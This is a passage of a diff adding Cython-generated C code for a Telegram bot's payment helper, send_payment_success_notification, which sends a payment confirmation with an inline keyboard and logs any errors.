PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_kp_u__3); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__4); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 27; + __Pyx_GIVEREF(__pyx_kp_u__4); + PyTuple_SET_ITEM(__pyx_t_9, 2, __pyx_kp_u__4); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_9, 3, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/utils.py":17 + * chat_id=user_id, + * text=f" {amount} . !", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 17, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 15, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/utils.py":14 + * InlineKeyboardButton(text=" ", callback_data="profile") + * ) + * await bot.send_message( # <<<<<<<<<<<<<< + * chat_id=user_id, + * text=f" {amount} . !", + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 14, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 14, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 14, __pyx_L4_error) + } + } + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/utils.py":19 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" {user_id}: {e}") + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 19, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_INCREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_e = __pyx_t_4; + /*try:*/ { + + /* "handlers/payments/utils.py":20 + * ) + * except Exception as e: + * logger.error(f" {user_id}: {e}") # <<<<<<<<<<<<<< + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyTuple_New(4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u__5); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 45; + __Pyx_GIVEREF(__pyx_kp_u__5); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u__5); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_14); + __pyx_t_14 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_10 += 2; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u__6); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_t_14); + __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_8, 4, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 20, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + + /* "handlers/payments/utils.py":19 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" {user_id}: {e}") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L17; + } + __pyx_L16_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_12 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L6_except_error; + } + __pyx_L17:; + } + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/utils.py":9 + * + * async def send_payment_success_notification(user_id: int, amount: float): + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *__pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[8]; +static int __pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[--__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyObject *o) { + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *p = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification)))) { + __pyx_freelist_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification[__pyx_freecount_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification++] = ((struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *p = (struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_spec = { + "handlers.payments.utils.__pyx_scope_struct__send_payment_success_notification", + sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.utils.""__pyx_scope_struct__send_payment_success_notification", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_n_s__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_bot, __pyx_k_bot, sizeof(__pyx_k_bot), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_s_chat_id, __pyx_k_chat_id, sizeof(__pyx_k_chat_id), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_float, __pyx_k_float, sizeof(__pyx_k_float), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_utils_py, __pyx_k_handlers_payments_utils_py, sizeof(__pyx_k_handlers_payments_utils_py), 0, 0, 1, 0}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_int, __pyx_k_int, sizeof(__pyx_k_int), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_name, 